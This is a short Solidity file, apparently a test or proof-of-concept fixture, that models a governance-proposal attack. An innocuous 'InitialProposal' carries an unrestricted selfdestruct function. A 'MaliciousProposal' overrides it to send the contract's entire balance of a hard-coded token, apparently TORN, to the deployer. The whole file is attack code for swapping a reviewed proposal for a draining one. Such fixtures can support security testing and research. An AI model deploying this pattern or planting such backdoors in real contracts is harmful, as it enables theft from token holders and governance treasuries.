// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract InitialProposal { event MockExecuted(uint256 num); function executeProposal() external virtual { emit MockExecuted(1); } function emergencyStop() public { selfdestruct(payable(0)); } } contract MaliciousProposal is InitialProposal { address public immutable deployer; constructor() public { deployer = msg.sender; } function executeProposal() external virtual override { IERC20 torn = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C); uint256 bal = torn.balanceOf(address(this)); torn.transfer(deployer, bal); } }